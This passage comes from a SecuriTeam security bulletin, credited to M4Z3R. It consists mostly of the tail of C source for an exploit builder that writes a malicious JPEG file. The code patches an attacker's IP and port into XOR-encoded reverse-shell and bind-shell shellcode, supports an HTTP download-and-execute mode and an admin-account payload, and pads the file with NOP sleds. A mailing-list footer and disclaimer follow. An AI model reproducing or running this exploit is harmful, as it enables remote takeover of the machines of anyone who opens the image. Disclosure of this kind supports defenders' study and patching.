strchr(p2+1, '.'); strncpy(str_num, ip_addr + (p2 - ip_addr) + 1, p1 - p2); raw_num = atoi(str_num); reverse_shellcode[181] = xor_data((char)raw_num); p2 = strrchr(ip_addr, '.'); strncpy(str_num, p2+1, 5); raw_num = atoi(str_num); reverse_shellcode[182] = xor_data((char)raw_num); } if (attack_mode == 2) { // bind attack bind_shellcode[204] = (char) 0x90; bind_shellcode[205] = (char) 0x92; bind_shellcode[191] = xor_data((char)((encoded_port >> 16) & 0xff)); bind_shellcode[192] = xor_data((char)((encoded_port >> 24) & 0xff)); } if (attack_mode == 4) { // Http DL strcpy(newshellcode,http_shellcode); strcat(newshellcode,argv[2]); strcat(newshellcode,"\x01"); } // build the exploit jpeg if ( attack_mode != 3) { j = sizeof(header1) + sizeof(setNOPs1) + sizeof(header2) - 3; for(i = 0; i < sizeof(header1) - 1; i++) fputc(header1[i], fout); for(i=0;i<sizeof(setNOPs1)-1;i++) fputc(setNOPs1[i], fout); for(i=0;i<sizeof(header2)-1;i++) fputc(header2[i], fout); for( i = j; i < 0x63c; i++) fputc(0x90, fout); j = i; } if (attack_mode == 1) { for(i = 0; i < sizeof(reverse_shellcode) - 1; i++) fputc(reverse_shellcode[i], fout); } else if (attack_mode == 2) { for(i = 0; i < sizeof(bind_shellcode) - 1; i++) fputc(bind_shellcode[i], fout); } else if (attack_mode == 4) { for(i = 0; i<sizeof(newshellcode) - 1; i++) {fputc(newshellcode[i], fout);} for(i = 0; i< sizeof(admin_shellcode) - 1; i++) {fputc(admin_shellcode[i], fout);} } else if (attack_mode == 3) { for(i = 0; i < sizeof(admin_header0) - 1; i++){fputc(admin_header0[i], fout);} for(i = 0; i < sizeof(admin_header1) - 1; i++){fputc(admin_header1[i], fout);} for(i = 0; i < sizeof(admin_header2) - 1; i++){fputc(admin_header2[i], fout);} for(i = 0; i < sizeof(admin_header3) - 1; i++){fputc(admin_header3[i], fout);} for(i = 0; i < sizeof(admin_header4) - 1; i++){fputc(admin_header4[i], fout);} for(i = 0; i < sizeof(admin_header5) - 1; i++){fputc(admin_header5[i], fout);} for(i = 0; i < sizeof(admin_header6) - 1; i++){fputc(admin_header6[i], fout);} for (i = 0; i<1601; i++){fputc('\x41', fout);} for(i = 0; i < sizeof(admin_shellcode) - 1; i++){fputc(admin_shellcode[i], fout);} } if (attack_mode != 3 ) { for(i = i + j; i < 0x1000 - sizeof(setNOPs2) + 1; i++) fputc(0x90, fout); for( j = 0; i < 0x1000 && j < sizeof(setNOPs2) - 1; i++, j++) fputc(setNOPs2[j], fout); } fprintf(fout, "\xFF\xD9"); fcloseall(); WSACleanup(); printf(" Exploit JPEG file %s has been generated!\n", jpeg_filename); return(EXIT_SUCCESS); } ADDITIONAL INFORMATION The information has been provided by M4Z3R. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
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